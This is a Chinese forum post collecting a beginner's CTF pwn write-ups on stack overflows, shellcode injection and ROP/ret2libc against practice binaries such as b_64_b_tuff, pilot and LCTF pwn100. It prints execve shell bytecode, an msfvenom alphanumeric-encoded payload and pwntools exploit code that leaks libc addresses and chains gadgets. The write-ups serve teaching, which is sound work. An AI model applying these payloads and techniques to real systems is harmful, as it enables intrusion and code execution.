首页
社区
课程
招聘
[原创]新人PWN入坑总结(一)
2021-8-2 16:20 16198

[原创]新人PWN入坑总结(一)

2021-8-2 16:20
16198

最近越学越傻,尤其是复杂网络论文看得我实在是难受,就来总结一下自己入坑PWN之后学到的各种东西吧。大部分从我自己原来的博客COPY过来的。


栈溢出基础0x01

一、攻防世界的Hello_World

1.很简单的一个程序,IDA打开,32位程序,main函数-hello函数中



buf距离栈底有0x12h,而可以读入的数据有0x64h,所以可以栈溢出。

2.checksec一下,开了NX,不能shellcode,这里也不需要,因为我们的输入并不会被当成指令来执行。

3.程序中自带后门getShell函数,并且有栈溢出,那么直接覆盖hello函数的返回地址跳转即可。

4.编写payload:

payload = "a"*(0x12+0x04)   #padding

(其中0x12是覆盖掉距离栈底的内容,0x04是覆盖掉hello函数返回的ebp,之后才是覆盖hello函数的返回地址)

payload += p32(0x0804846B)  ##覆盖返回地址

5.之后输入,然后Interactive()即可。

 

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157




Shellcode用法0x02

 一、BSides San Francisco CTF 2017-b_64_b_tuff

1.常规checksec下,只开了NX,之后IDA打开文件之后,有如下语句:

#注释头

s = (char *)base64_encode((int)buf, v7, v5);
((void (*)(void))v5)();

这里v7是输入的Buf,v5是mmap分配的内存空间。之后的语句:代表了将v5对应的内存空间强制转化为函数指针并且调用,在汇编代码中也可以看出来:这里的[ebp+var_18]就是我们输入的buf经过编码base64编码后存放的地方。

#注释头

text:0804879C var_18          = dword ptr -18h

3.所以我们输入的内容就成了会被执行的汇编代码,也就是可以输入Shellcode,来执行我们需要的命令。这里可以看一个连接网址,从里面找shellcode:

http://shell-storm.org/shellcode/

可以通过linux/x86/sh/bash/execve/shellcode等等关键词来查找,这里直接给出一个可用的shellcode:

 

#注释头

\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

4.但是有Base64_encode,所以我们输入的需要会被base64编码,而base64编码只能由只由0-9,a-z,A-Z,+,/这些字符组成,(这里就是对应的ascii转换表中内容)所以常规的shellcode就不合格,我们这里选中的shellcode中某些字符就没办法被base64编码,所以这里需要用到msfvenom来选择一个可用的编码器,将我们常规的shellcode编码成可以被base64编码的shellcode。

5.打开Linux,输入msfvenom -l encoders可以查看编码器,后面有介绍,可以看一下,从中选择一个可用的编码器对shellcode进行编码即可。

6.查到x86/alpha_mixed这个编码器可以将我们输入的shellcode编码成大小写混合的代码,符合条件。

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder

运行编码器的代码如下:

#注释头

python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload

7.输入这段代码运行之后可以看到当前文件夹目录下生成了一个payload文件,文本打开就可以看到编码后的shellcode:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA

8.之后需要将这段可以被Base64编码的进行Base64解码,得到的shellcode再被程序中的Base64编码后才是我们真正起作用的shellcode。利用python脚本即可。

 

 

 

1.’import sys; sys.stdout.write(“shellcode”)’:这是导入包之后写入编码的shellcode。

2.由于msfvenom只能从stdin中读取,所以使用Linux管道符”|”来使得shellcode作为python程序的输出。

3.此外配置编码器为x86/alpha_mixed,配置目标平台架构等信息,输出到文件名为payload的文件中。

4.由于在b-64-b-tuff中是通过指令call eax调用shellcode的eax,所以配置BufferRegister=EAX。最后即可在payload中看到对应的被编码后的代码。这段shellcode代码就可以被base64编码成我们需要的汇编代码。

 

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157



二、CSAW Quals CTF 2017-pilot

1.常规check,发现这破程序啥保护也没开,而且还存在RWX段:

这不瞎搞嘛。之后IDA找漏洞,发现栈溢出:

#注释头

char buf; // [rsp+0h] [rbp-20h]
if ( read(0, &buf, 0x40uLL) > 4 ):

2.这里就可以思考下攻击思路,存在栈溢出,还有RWX段,考虑用shellcode。虽然这个RWX段是随机生成的栈,地址没办法确定。再看看程序,发现程序自己给我们泄露了buf的栈地址:

也就是说紧跟再location后面的打印出来的就是buf的真实栈地址,这样我们就可以接受该栈地址,然后用栈溢出使得我们的main函数返回时可以跳转到对应的buf地址上,而buf地址上的内容就是我们的输入,也就是输入的shellcode,这样就可以执行我们的shellcode了。

3.但是写完shellcode会发现程序崩溃,这里进入IDA调试一下shellcode。可以发现程序运行过程中,Main函数return执行之后,跳转到shellcode的地方,然后运行shellcode。但是这一过程中,栈顶指向了main函数return的地址。所以在运行shellcode过程中,由于shellcode中有一个push rbx命令,导致rsp向上移动8个字节会覆盖掉shellcode的首地址。本来这没啥事,毕竟已经进入到shellcode当中去了,但是后面还有push rax和push rdi这两个改变rsp的命令,这就导致了rsp再次向低地址覆盖了16个字节,总共覆盖了24个字节。但是我们输入的shellcode有48个字节,顺序为shellcode+nop*10+addr_shellcode,也就是扣掉最后18个字节,还多出来6个字节覆盖掉了我们的执行代码shellcode的最后6个字节代码,导致我们的shellcode没办法完全执行,最终导致程序出错。

4.由于read函数允许我们输入0x40,也就是64个字节,也就是在覆盖掉返回地址之后,我们还能再输入64-48=16个字节。由于push rdi之后的片段为8个字节(包括了push rdi),小于16个字节,能够容纳下我们被覆盖掉的shellcode的代码,所以这里我们可以考虑用拼接的方式来把shellcode完美执行。

9.现在考虑如何把两段shellcode汇编代码连在一起。有call,return和jmp,但是前面两条指令中,call会push进函数地址,而return也会修改栈和寄存器的状态,ret指令的本质是pop eip,即把当前栈顶的内容作为内存地址进行跳转。所以只能选择jmp跳转。

5.可以查阅Intel开发者手册或其他资料找到jmp对应的字节码,或者这个程序中带了一条Jmp可以加以利用。为EB,jmp x总共2个字节:EB x.

6.将两段隔开,从push rdi开始,将push rdi和之后的代码都挪到下一个地方。这时第一段shellcode应该是22+2(jmp x)=24个字节,距离下段shellcode的距离应该是48-24=24,也就对应0x18h,所以总的shellcode应该是shellcode1+EB 18h+shellcode2,这样可以顺利执行需要的shellcode。

 

 

▲jmp的跳转计算距离是从jmp指令下一条开始计算的。

▲shellcode的两段执行:

1.需要泄露地址,读取泄露地址:

A.print io.recvuntil("Location:")#读取到即将泄露地址的地方。

B.shellcode_address_at_stack = int(io.recv()[0:14], 16)#将泄露出来的地址转换为数字流

C.log.info("Leak stack address = %x", shellcode_address_at_stack)#将泄露地址尝试输出,观察是否泄露成功。

2.需要跳转jmp命令或者是return/call,但是return会pop eip,call会push eip,都会修改掉栈中的内容。如果shellcode的两段执行计算偏移地址的话,可能需要将这两个内容也计算进入。但是jmp就不会需要,是直接无条件跳转,所以大多时候选择jmp比较好。

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157



三、Openctf 2016-tyro_shellcode1

1.常规checksec,开了Canary和NX,IDA查找漏洞,找到下列奇怪代码:

#注释头

v4 = mmap(0, 0x80u, 7, 34, -1, 0);
-----------------------------------------------------------------------------
read(0, v4, 0x20u);
v5 = ((int (*)(void))v4)();

可以猜出来是输入到v4中,然后v4被强制转换成函数指针被调用。查看汇编代码也可以看到:

这里就没办法判断到底[esp+34h]是不是v4了,因为v4是通过mmap申请的一块内存,虽然在栈上,但是并不知道在哪,需要通过调试才能知道,调试之后发现确实是这样。

2.虽然最开始checksec程序,发现开了NX,那么这不就代表没办法shellcode了吗。调试也发现,除了代码段,其它段都没有X属性,都不可执行。但是我们看汇编代码,是call eax,调用的是寄存器,不是程序段,一定可以被调用的,然后eax中保存的内容就是我们输入的内容啊,所以直接输入shellcode就完事,连栈溢出什么的都不用考虑。

3.那么直接从http://shell-storm.org/shellcode/

查找获取就可以。给出一段可用shellcode:

\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

 

由于这段shellcode调用的是int80来获取shell的,所以给出下列介绍

▲int 80h:128号中断

1.在32位Linux中该中断被用于呼叫系统调用程序system_call()。

2.read(), write(), system()之类的需要内核“帮忙”的函数,就是围绕这条指令加上一些额外参数处理,异常处理等代码封装而成的。32位linux系统的内核一共提供了0~337号共计338种系统调用用以实现不同的功能。

3.输入的shellcode也就汇编成了EAX = 0Xb = 11,EBX = &(“/bin//sh”), ECX = EDX = 0,等同于执行代码sys_execve("/bin//sh", 0, 0, 0),通过/bin/sh软链接打开一个shell。这里sys_execve调用的参数就是ebx的对应的地址。所以我们可以在没有system函数的情况下打开shell。64位linux系统的汇编指令就是syscall,调用sys_execve需要将EAX设置为0x3B,放置参数的寄存器也和32位不同

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157



ROP技术0x03

一、bugs bunny ctf 2017-pwn150

1.常规checksec,可以发现NX enabled,并且没有RAX字段。打开IDA后可以看到在hello函数中存在栈溢出:

#注释头

char s; // [rsp+0h] [rbp-50h]
---------------------------------------------------------------
fgets(&s, 192, stdin);

然后分析程序,汇编代码什么的,没找到有call eax之类的操作,这里就选择ROP来getshell。

2.由于是64位程序,传参方式不同,依次为:rdi, rsi, rdx, rcx, r8, r9, 栈,而我们的目标是跳转system函数,让system函数读取binsh字符串,system函数又只有一个参数,所以这个参数必然需要在rdi中读取。我们的输入是位于栈上,所以需要一个pop rdi;和ret的操作命令,让我们的输入赋值给rdi寄存器。

3.在哪找pop rdi; ret;也是个问题,这里有个工具可以实现ROPgadget ,在linux下可以输入:以下代码来获取代码地址。

#注释头

ROPgadget --binary pwn150 | grep "pop rdi"

4.然后需要system函数的地址,这里today函数直接call了该函数,所以可以直接用IDA在汇编中看到该地址(行的前缀)。或者先ctrl + s,在got.plt中搜索一下,发现也能找到system函数。所以这里获取system地址我们可以有两种方法:

①pop rdi之后,让ret指向today函数中的call_system_地址:0x40075F

②pop rdi之后,让ret指向从elf = ELF('./pwn150')和system_addr = p64(elf.symbols['system'])中找到的地址system_addr,也就是plt表中的地址(这里其实可以直接在IDA中找到)

(但是需要注意的是,这是64位程序,system函数从rdi上取值,与栈无关系,所以call和直接跳转plt差不多,但是如果是32位程序,那么布置栈的时候就需要考虑到plt表和直接call system函数的不同了。如果是直接跳转plt表中的地址,那么栈的布置顺序应该是:

system函数-system函数的返回地址-sytem函数的参数。

但如果是跳转call system,那么由于call指令会自动push进eip,则栈布置应该为:

call system函数地址-system函数参数。

两者不太一样,需要加以区分。后面会有got表和plt的详细讲解)

4.接下来寻找binsh字符串,但是没找到,只有sh,也可以开shell。shift+F12进入字符串后右键在十六进制中同步,之后可以对应看到sh的字符地址,由于sh之后直接就是结束字符00,不会往后多读,而只会读取sh,所以可以直接将该字符串的地址写在pop rdi地址后面,直接赋值给rdi,写进去。

5.编写payload,顺序为:payload = padding + pop_rdi_addr + bin_sh_addr + system_addr(或者是call_system_addr)。

 

▲由于64位程序中通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈(根据调用约定的方式可能有不同,通常是这样),因此,我们就需要一个给RDI赋值的办法。也就是ROPgadget --pwn150 | grep “pop rdi”这段代码获取。所以进入system中用call和return直接进都行,参数是从rdi中获取的,进去之后栈上的返回地址是啥都没关系,因为已经getshell,用不到。

▲执行call func_addr指令相当于push eip ;jmp func_addr,而执行plt表中地址则相当于只有jmp func_addr,没有前面的push eip,所以需要手动设置这个eip,而call则不用。注意这是32位程序下,64位程序下则按照本篇所说,直接pop rdi即可。

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157



二、LCTF 2016-pwn100

1.常规checksec,开了NX保护。打开IDA,找漏洞,逐次进入后,sub_40068E()函数中的sub_40063D函数中存在栈溢出:

#注释头


char v1; // [rsp+0h] [rbp-40h]
---------------------------------------------
sub_40063D((__int64)&v1, 200);
--------------------------------------------------------------------
for ( i = 0; ; ++i )
{
    result = i;
    if ( (signed int)i >= a2 )
      break;
    read(0, (void *)((signed int)i + a1), 1uLL);
}

这里传的是局部变量v1的地址,所以进入sub_40063D后,修改a1指针对应的内存的值其实就是修改之前局部变量v1的值,就是传指针。这个函数每次读取一个字节,直到读取满200字节,其实就可以直接把它当成read(v1,200)完事。

(题外话:汇编代码中当局部变量传参时,需要用到lea,即:lea     rax, [rbp+var_40],就是将栈上的变量var_40的地址给rax,然后传参mov     rdi, rax;利用rdi来传函数参数。进入到函数内部后就会有:mov     [rbp+var_18], rdi,也就是在该函数栈上创建一个局部变量来保存传入变量的栈上的地址,也就是之前var_40的栈上地址,保存在[rbp+var_18]这个局部变量中。这是这个程序中,不同程序可能不太一样。)

2.所以这个栈溢出的覆盖返回地址应该是sub_40068E函数的返回地址,简单远程调试一下,看看v1所在栈地址和rbp下一地址的距离就是偏移量,为0x48,看汇编计算就可以得到0x40+0x8。

3.现在需要system和binsh,这个程序中这两个都没有带,而只有Libc中才有,但是这个程序并没有泄露Libc的地址。分析程序发现,程序中.plt段中导入了puts函数,IDA中函数名那一块可以看到:所以可以用pwntools中的DynELF,调用该puts函数,从而泄露出libc中puts或者read的地址。由于大多教程选择泄露read,所以这里选择泄露puts函数在Libc中的被加载的地址。这里用read,setbuf,甚至__libc_start_main函数也都可以,因为都导入了plt表和外部引用了。

4.开始构造泄露地址的第一段payload:

#注释头

payload = "A"*72            #padding
payload += p64(pop_rdi)      
#由于需要向puts传参,所以用到该地址,可以使用ropgadget
#查询ROPgadget --binary pwn100 | grep "pop rdi ; ret"
#或者在万能gadget中的pop r15,用D命令转换成数据后再C命令转换回代码可以看到
payload += p64(puts_got)
#这是puts在.got表(.got.plt段)中的地址,是传递给Puts函数的参数,当该库函数被加载进入libc中
#时,这样传参进去再打印就可以打印出puts函数在libc中的地址,也就泄露出来了。
payload += p64(puts_addr)
#这是调用puts函数,elf.plt['puts'](.plt段)
payload += p64(start_addr)
#整个程序的起始代码段,用以恢复栈。这个函数中会调用main函数。这里用Mian函数地#址也可以
payload = payload.ljust(200, b"B")
#使用B填充200字节中除去先前payload剩余的空间,填充的原因是因为这个程序需要我们输入满200字节
#才会跳出循环,进而才有覆盖返回地址的可能。或者可以写成:
#(payload += 'a'*(200-0x48-32))

5.之后开始运行payload来实际得到Puts函数被libc加载的实际内存地址:

#注释头

io.send(payload)
io.recvuntil('bye~\n')#跳出循环后才会执行到打印bye的地方
puts_addr = u64(io.recv()[:-1].ljust(8, b'\x00'))
#这里就是接收泄露地址的地方,末尾需要填充上\x00
log.info("puts_addr = %#x", puts_addr)
system_addr = puts_addr - 0xb31e0
log.info("system_addr = %#x", system_addr)

6.现在得到了puts函数被libc加载的实际内存地址,那么puts函数与其它函数的偏移量也就可以通过用IDA打开题目给的libc查出来,从而得到其它我们需要的函数被libc加载的实际内存地址。

#注释头

00000000000456A0  ---system_in_libc
00000000000F8880 ---read_in_libc
0000000000070920  ---puts_in_libc
000000000018AC40 ---binsh_in_libc

得到libc被加载的首地址:puts_addr 减去 puts_in_libc 等于libc_start。于是libc_start加上各自函数对应的in_libc也就可以得到被libc加载的实际内存地址。

7.现在都有了就可以尝试在执行一次栈溢出来开shell,64位程序,有了system函数和binsh地址,那么栈溢出覆盖用pop rdi;ret的方法可以直接getshell。

8.这里假设没有binsh,来使用一下万能gadget:通过我们的输入读到内存中。同样这张图,万能Gadget1为loc_400616,万能Gadget2为loc_400600

以下为用来读取binsh字符串的代码,这里需要在程序中找到一段可以写入之后不会被程序自动修改的内存,也就是binsh_addr=0x60107c,这个地址其实是extern的地址,里面原来保存的内容是read函数发生延迟绑定之前的地址。而延迟绑定发生之后,got表中保存的内容已经被改成了被Libc加载的真实地址,这个extern也就没用了,可以随意用。但如果某个函数没有被首次调用,即还没发生延迟绑定,而我们却先一步改掉了extern的内容,那么它就再也没办法被调用了。

#注释头


binsh_addr = 0x60107c			
#bss放了STDIN和STDOUT的FILE结构体,修改会导致程序崩溃

payload = b"A"*72
payload += p64(universal_gadget1) #万能gadget1
payload += p64(0) #rbx = 0
payload += p64(1)
#rbp = 1,过掉后面万能gadget2的call返回后的判断,使它步进行跳转,而是顺序执行到万
#能gadget1,从而return到最开始来再执行栈溢出从而Getshell。
#cmp 算术减法运算结果为零,就把ZF(零标志)置1,cmp a b即进行运算a-b
payload += p64(read_got)
#r12 = got表中read函数项,里面是read函数的真正地址,直接通过call调用
payload += p64(8) #r13 = 8,read函数读取的字节数,万能gadget2赋值给rdx
payload += p64(binsh_addr) #r14 = read函数读取/bin/sh保存的地址,万能gadget2赋值给rsi
payload += p64(0)
#r15 = 0,read函数的参数fd,即STDIN,万能gadget2赋值给edi
payload += p64(universal_gadget2) #万能gadget2
payload += b'\x00'*56
#万能gadget2后接判断语句,过掉之后是万能gadget1,而Loc_400616万能gadget1执行之
#后会使得栈空间减少7*8个字节,所以我们需要提前输入7*8来使得万能gadget1执行之
#后栈的位置不发生变化,从而能正常ret之后接上的start_addr
#用于填充栈,这里用A也是一样
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200, b"B") #padding
#不知道这有什么用,去掉一样可以getshell,因为这边是直接调用read函数,而不是经过
#sub_40068E()非得注满200字节才能跳出循环。

io.send(payload)
io.send(b"/bin/sh\x00")
#上面的一段payload调用了read函数读取"/bin/sh\x00",这里发送字符串
#之后回到程序起始位置start

这里万能Gadget中给r12赋值,传入的一定是该函数的got表,因为这里的call和常规的call有点不太一样。我们在IDA调试时按下D转换成硬编码形式,(这里可以在IDA中选项-常规-反汇编-操作码字节数设置为8)可以看到这个call的硬编码是FF,而常规的call硬编码是E8。(这里call硬编码之后的字节代表的是合并程序段之前的偏移量,具体可以参考静态编译、动态编译、链接方面的知识)在这个指令集下面:

FF的call后面跟的是地址的地址。例如call [func], 跳转的地方就应该是func这个地址里保存的内容,也就是*func。

E8的call后面跟的是地址。例如call func,跳转的地方就是func的开头。

这里可以不用非得看硬编码,可以直接看汇编也可以显示出来:一个有[],一个没有[]。

9.所以万能gadget中通过r12,传入跳转函数的地址只能是发生延迟绑定之后的got表地址,而不能是plt表地址或者是没有发生延迟绑定的got表地址,(延迟绑定只能通过plt表来操作,没有发生延迟绑定之前,该got表中的内容是等同于无效的,只是一个extern段的偏移地址,除非该函数func是静态编译进程序里面的,那么got表中的内容就是该函数的真实有效地址,不会发生延迟绑定。)因为plt表中的内容转换成硬编码压根就不是一个有效地址,更别说跳转到该地址保存的内容的地方了。有人说跳转到plt表执行的就是跳转got表,那应该是一样的啊,但FF的call并不是跳转到plt来执行里面的代码,而是取plt表中内容当作一个地址再跳转到该地址来执行代码,所以有时候需要看汇编代码来决定究竟是传入got表还是传入plt表。同样也可以看到plt表中的硬编码是FF,也就是并不是跳转got表,而是取got表中保存的内容当作一个地址再来跳转。

▲说了这么多,记住一个就行了,

需要跳转函数时,有[]的-只能传got表,没[]的-传plt表(plt表更安全好使,但后面格式化字符串劫持got表又有点不太一样,情况比较复杂)。

需要打印真实函数地址时,传的一定是got表,这样就一定没错。

当有call eax;这类语句时,eax中保存的一定得是一个有效地址,因为这里的call硬编码也是0FF。(实际情况got和plt来回调着用呗,哪个好使用哪个)

10.那么现在有了system_addr和binsh_addr,而程序又是从最开始运行,所以现在尝试getshell:

#注释头

payload = b"A"*72 #padding
payload += p64(pop_rdi) #给system函数传参
payload += p64(binsh_addr) #rdi = &("/bin/sh\x00")
payload += p64(system_addr) #调用system函数执行system("/bin/sh")
payload = payload.ljust(200, b"B") #padding,跳出循环
io.send(payload)
io.interactive()

11.另外由于在libc中查找也比较繁琐,所以有个libcSearch可以简化使用,具体查资料吧。

 

1.往puts函数中传入函数在got表中的地址(elf.got)参数可以打印出被加载在Libc中的实际内存地址。

2.用覆盖返回地址ret的形式调用函数需要用函数在plt表中的地址,(elf.plt)这是库函数地址,需要先到plt中,然后再到got表中,这是正常的函数调用。

3.但如果在gadget中,则可以通过给r12赋值来调用elf.got表中的函数,因为这个是call qword ptr[r12+rbx*8],指向的是函数在got表中真实地址,需要的是函数在got表中的地址。如果只是call addr,则应该是call函数在plt表中的地址。

4.万能gadget一般在_libc_csu_init中,或者init或者直接ROPgadget查也可以

 

▲mov和lea区别:

mov:对于变量,加不加[]都表示取值;对于寄存器而言,无[]表示取值,有[]表示取地址。

lea:对于变量,其后面的有无[]皆可,都表示取变量地址,相当于指针。对于寄存器而言,无[]表示取地址,有[]表示取值。

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157



三、RedHat 2017-pwn1

1.常规 checksec查看一下,发现开启了NX,IDA打开程序找漏洞,变量V1的首地址为bp-28h,即变量在栈上。而之后还有__isoc99_scanf不限制长度的函数,所以输入会导致栈溢出。这样就可以寻找system和”bin/sh”来getshell了。

#注释头

int v1; // [esp+18h] [ebp-28h]
----------------------------------------------------------
__isoc99_scanf("%s", &v1);

2.首先ctrl+s看看.got.plt中有没有system函数,这里有。找到system函数后,再寻找”/bin/sh”,但是找不到,所以考虑从__isoc99_scanf来读取”/bin/sh”来写入到内存进程中。

3.接下来考虑字符串”/bin/sh”应该放到哪里,因为可能会有ASLR(地址随机化)的影响,所以最好找个可以固定的内存地址来存放数据。ctrl+s查看内存页后可以看到有个0x0804a030开始的可读可写的大于8字节的地址,且该地址不受ASLR影响,所以可以考虑把字符串读到这里。(可以看到有R和W权限,但我也不知道怎么看该地址受不受到ASLR的影响,可以按照以前的做法,这里可以将该地址修改为某个extern段的地址,因为延迟绑定之后,这个段中的内容就基本没用了,这里选择这个段上的某个地址一样可以getshell,我选的是0x0804A050。)

4.既然程序读取用的是__isoc99_scanf,那么参数”%s”也得找到,容易找到位于0x08048629。

5.先编写rop链测试一下:

#注释头

elf = ELF('./pwn1')#rop链必备,用于打开plt和got表来获取函数地址
scanf_addr = p32(elf.symbols['__isoc99_scanf'])#获取scanf的地址
format_s = p32(0x08048629)#这是我们scanf赋予”%s”的地址
binsh_addr = p32(0x0804a030)#bin/sh保存的地址

shellcode = ‘A’*0x34 + scanf_addr + format_s + binsh_addr
print io.read()
#读取puts("pwn test")的输出,以便继续执行。io.recv()一样可以,具体用法再做参考
io.sendline(shellcode1)#第一次scanf输入shellcode1

这里"A"*0x34有点不一样,我们可以看到在该函数中声明的局部变量v1距离栈底有0x28,那么main函数的返回地址应该是0x28+0x04=0x2c才对。但是实际上,由于程序最开始的动态链接,是从start开始初始化main函数栈的,所以经过start函数会给main函数栈上压入两个全局偏移量。通过调试也可以看到,输入AAAA,位于FFFDF568,加上0x28应该等于FFFDF590,但是这里却不是ebp,得再加上两个0x04才是ebp的位置。这是因为在程序运行起来的延迟绑定的关系,压入栈的是全局偏移。不过不用管,没啥用,这里直接再加上两个0x04就好了,通过调试也可以调试出来。而且查汇编代码,发现寻址方式是通过esp寻址,也就是[esp+18h],FFFDF550+0x18=FFFDF568,也就是我们输入的地方。

6.程序运行到这没什么问题,但是接着运行下去从由于我们覆盖的是main函数的返回地址,让main返回地址返回到scanf中,执行的是return命令。而再次进入到scanf函数中之后,执行:io.sendline(“/bin/sh”)。发现binsh并没有被读入到binsh_addr中,这是因为scanf读取输入时的汇编操作如下:假设为scanf(“%s”,&v1);

#注释头

push v1
push %s
push eip

栈的分布如下:

#注释头

栈顶
scanf返回地址              ---esp +1
scanf第一个格式化参数%s    ---esp+2
scanf第二个输入进的参数&v1  ---esp+3

执行时是取esp +2,esp+3

而我们直接return scanf的栈分布如下:

#注释头

scanf 第一个格式化参数%s       ---p32(format_s)   ---esp+1
scanf第二个输入进的参数&v1     ---p32(binsh_addr)  --esp+2
执行时是取esp+2,esp+3

scanf在执行过程中,由于我们没有将scanf的返回地址压入栈中,所以第一个读取的是esp+2,将我们需要输入的binsh的地址当作了格式化参数%s来读取,发生错误。之后scanf也没办法正常返回

8.所以我们用main函数的return来调用scanf时,需要给栈布置一个scanf的返回地址,否则scanf执行过程中会读取参数发生错误,不能正常读取和返回。

9.那么第一次的shellcode顺序应该是‘A’*0x34 + scanf_addr + scanf_returnaddr + format_s + binsh_addr。

#注释头

shellcode1 = 'A'*0x34	#padding
shellcode1 += scanf_addr # 调用scanf以从STDIN读取"/bin/sh"字符串
shellcode1 += scanf_retn_addr # scanf返回地址
shellcode1 += format_s # scanf参数 
shellcode1 += binsh_addr # "/bin/sh"字符串所在地址

之后大多有两种解决方案:

▲第一种:将scanf返回到main,再次执行栈溢出:

也就是将scanf的返回地址设置为main函数的地址,scanf出来之后,回到mian中之后,第二次的shellcode应该是’A’*0x2c +system_addr + system_ret_addr + binsh_addr。这里的system_addr和上述的scanf中是一样的,都是为了防止函数读取参数发生错误从而无法正常执行。但是这里的system_ret_addr可以随便填,因为我们并不需要返回system,进入到system之后执行binsh就能getshell了。而’A’*2c是因为栈的状态发生了改变,所以需要重新计算一下。因为再次进入main函数构造出来的Main函数栈应该是0x40,而不是之前0x48这么大了,没有经过start函数初始化main函数栈,不存在压入的全局偏移,系统只是将这次的main函数当作一个普通的函数来构造栈。

所以这一次我们输入的内容距离栈底就确实只有0x28这么远了,那么计算一下0x28+0x04=0x2c,所以这一次的padding就是0x2c。

#注释头

shellcode2 = 'B'*0x2c	#padding
shellcode2 += system_addr #跳转到system函数以执行system("/bin/sh")
shellcode2 += main_addr # system函数返回地址,随便填
shellcode2 += binsh_addr #system函数的参数

 

▲第二种:将scanf的返回地址拿来做文章,通过rop将esp直接下拉两个0x04到达我们输入的system,然后在从之后的地方读取binsh字符串,一次payload直接搞定:

通过汇编代码可以看到,调用scanf时的栈状态应该跟下图一样:

所以我们scanf函数返回时esp应该还是指向的format参数地址才对,那么为了将esp下拉两个0x04,到达输入的system函数地址,就需要两个Pop操作,这里通过ROPgadget可以查出来,或者直接从init什么的初始化段中找万能gadget,同样存在多个Pop操作。那么这样的化就只有一次payload,所以总的payload就应该是:

#注释头

shellcode1 = 'A'*0x34 #padding
shellcode1 += scanf_addr # 调用scanf以从STDIN读取"/bin/sh"字符串
shellcode1 += pop_pop_ret_addr# scanf返回后到两个Pop操作处
shellcode1 += format_s # scanf参数
shellcode1 += binsh_addr #作为scanf的参数读取binsh字符串
shellcode1 += system_addr # "/bin/sh"字符串所在地址
shellcode1 += binsh_addr #作为system的参数getshell

▲这里再给出第三种方案,也比较容易理解

这个方案是基于第一种的,覆盖scanf返回地址为start函数,这样main函数栈又重新初始化,相当重新执行一次程序,那么第二次的shellcode的padding字符个数还是0x34个A,之后就常规覆盖eip跳转system函数getshell了。但是这里直接写start函数的首地址会出错,因为这里的start首地址为0x08048420,末尾为20,转化成字符串就是空格。而读入我们输入的又是scanf,scanf不支持空格录入,所以遇到空格就会发生截断,导致读不进去。而这里又是因为大端序,如果发生0x08048420,那么先发送的字符是0x20,也就是空格,那么就直接截断,之后所有数据都读不了了。所以这里如果需要传入start函数,则将start函数下拉两个字节,传入0x08048422。看汇编代码:

start函数体的第一条汇编指令是xor ebp,ebp。异或操作,就是将ebp清理好初始化而已,啥用也没有,所以可以直接跳过,到pop esi就行。具体代码就是将第一种方案的种第一段shellcode的main_addr改成start_addr+0x02,然后偏移都是0x34就行。

 

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

https://www.cnblogs.com/sweetbaby/p/14148625.html

 



[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-8-9 15:52 被PIG-007编辑 ,原因:
收藏
点赞5
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回